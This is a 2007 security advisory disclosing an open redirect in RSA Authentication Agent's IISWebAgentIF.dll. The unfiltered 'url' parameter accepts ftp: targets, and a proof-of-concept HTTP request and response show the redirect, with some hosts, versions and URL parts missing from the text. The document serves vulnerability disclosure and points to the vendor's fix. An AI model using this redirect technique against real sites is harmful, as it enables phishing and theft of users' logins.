-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 PR07-43: Cross-domain redirect on RSA Authentication Agent Vulnerability found: 5th December 2007 Vendor informed: 13th December 2007 Severity: Medium-low Successfully tested on: RSA Authentication Agent for Web for Internet Information Services in conjunction with Mozilla Firefox Description: A remote URI redirection vulnerability affects the RSA Authentication Agent. This issue is due to a failure of the application to properly sanitize URI-supplied data assigned to the 'url' parameter. An attacker may leverage this issue to carry out convincing phishing attacks against unsuspecting users by causing an arbitrary page to be loaded once a RSA Authentication Agent specially-crafted URL is visited. Although the 'url' parameter is filtered for protocol URLs such as 'http://' and 'https://', is NOT filtered for other protocols such as FTP or Gopher. An attacker could upload a spoof login page to a FTP server that allows anonymous connections where the victim would be redirected. Vulnerable server-side script: '/WebID/IISWebAgentIF.dll' Unfiltered parameter: 'url' Note: the redirect will only take place in browsers which consider URLs with only one slash after the colon symbol ':' as valid when performing redirects - i.e.: "Location: ftp:/" Proof of concept: Example of specially-crafted URL: COMPLETE HTTP REQUEST: GET /WebID/IISWebAgentIF.dll?Redirect?url= s/Mandrake/devel/cooker/i586/index.htm HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv: Gecko/20071127 Firefox/ Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai n;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive COMPLETE HTTP RESPONSE: HTTP/1.x 302 Object Moved Connection: Keep-Alive Content-Length: 194 Date: Tue, 18 Dec 2007 09:35:19 GMT Location: ftp:/ Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Consequences: Victim users can be redirected to third-party sites for the purpose of exploiting browser vulnerabilities or performing phishing attacks. Fix: The vendor has stated that this issue was addressed in the RSA Authentication Agent RSA customers can download the upgrade from the RSA web site.
